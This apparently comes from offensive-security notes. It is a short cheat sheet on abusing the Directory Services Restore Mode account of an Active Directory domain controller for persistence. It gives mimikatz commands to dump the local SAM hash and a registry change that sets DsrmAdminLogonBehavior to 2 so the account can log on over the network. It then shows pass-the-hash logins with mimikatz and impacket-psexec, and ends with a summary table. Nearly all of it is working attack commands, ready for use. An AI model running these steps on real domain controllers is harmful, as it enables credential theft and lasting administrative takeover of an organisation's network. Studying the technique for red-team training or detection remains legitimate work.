DSRM

Overview

Every DC has a local DSRM administrator account set during AD DS promotion. Its NTLM hash can be extracted and used to authenticate to the DC.

mimikatz # token::elevate
mimikatz # lsadump::sam

Look for local Administrator account hash.

By default, DSRM account can only log in during DSRM boot mode. Change registry to allow network logon:

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

mimikatz # sekurlsa::pth /domain:DC_HOSTNAME /user:Administrator /ntlm:DSRM_HASH /run:cmd.exe

impacket-psexec -hashes :DSRM_HASH ./Administrator@DC_IP

Use ./ (local) not DOMAIN/ — DSRM is local account.

Task	Command
Get hash	`mimikatz # lsadump::sam` on DC
Enable remote	Set `DsrmAdminLogonBehavior = 2`
Login	PtH with `./Administrator` (local, not domain)